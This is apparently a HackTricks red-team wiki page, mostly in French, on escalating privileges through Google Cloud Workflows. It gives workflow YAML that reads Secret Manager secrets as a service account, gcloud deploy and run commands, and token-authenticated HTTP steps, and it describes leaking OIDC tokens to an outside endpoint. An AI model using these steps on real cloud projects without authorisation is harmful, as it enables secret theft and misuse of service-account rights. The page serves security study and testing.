GCP - Workflows Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Workflows

Basic Information:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

À ma connaissance, il n’est pas possible d’obtenir un shell avec accĂšs Ă  l’endpoint metadata contenant les identifiants du SA attachĂ© Ă  un Workflow. Cependant, il est possible d’abuser des permissions du SA en ajoutant les actions Ă  effectuer Ă  l’intĂ©rieur du Workflow.

Il est possible de trouver la documentation des connecteurs. Par exemple, ceci est la page of the Secretmanager connector. Dans la barre latérale, on peut trouver plusieurs autres connecteurs.

And here you can find an example of a connector that prints a secret:

Workflow YAML configuration to access secrets ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Mise à jour depuis le CLI :

Déployer et exécuter des workflows depuis le CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Si vous obtenez une erreur comme `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, attendez juste **une minute et réessayez**.

Si vous n’avez pas d’accĂšs web il est possible de dĂ©clencher et de voir l’exĂ©cution d’un Workflow avec:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Vous pouvez également vérifier la sortie des exécutions précédentes pour chercher des informations sensibles

Notez que mĂȘme si vous obtenez une erreur comme PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... parce que vous n’avez pas cette permission, le workflow a bien Ă©tĂ© gĂ©nĂ©rĂ©.

Leak OIDC token (and OAuth?)

According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.

Caution

Par consĂ©quent, il est possible de leak le OIDC token en indiquant un endpoint HTTP contrĂŽlĂ© par l’utilisateur, mais pour leak le OAuth token vous auriez besoin d’un contournement de cette protection. Cependant, vous pouvez toujours contacter n’importe quelle GCP api pour effectuer des actions au nom du SA en utilisant soit des connectors soit des requĂȘtes HTTP avec le OAuth token.

Oauth

Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
RequĂȘte HTTP de Workflow avec jeton OIDC ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Avec cette permission, au lieu de workflows.workflows.create, il est possible de mettre Ă  jour un workflow dĂ©jĂ  existant et d’effectuer les mĂȘmes attaques.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks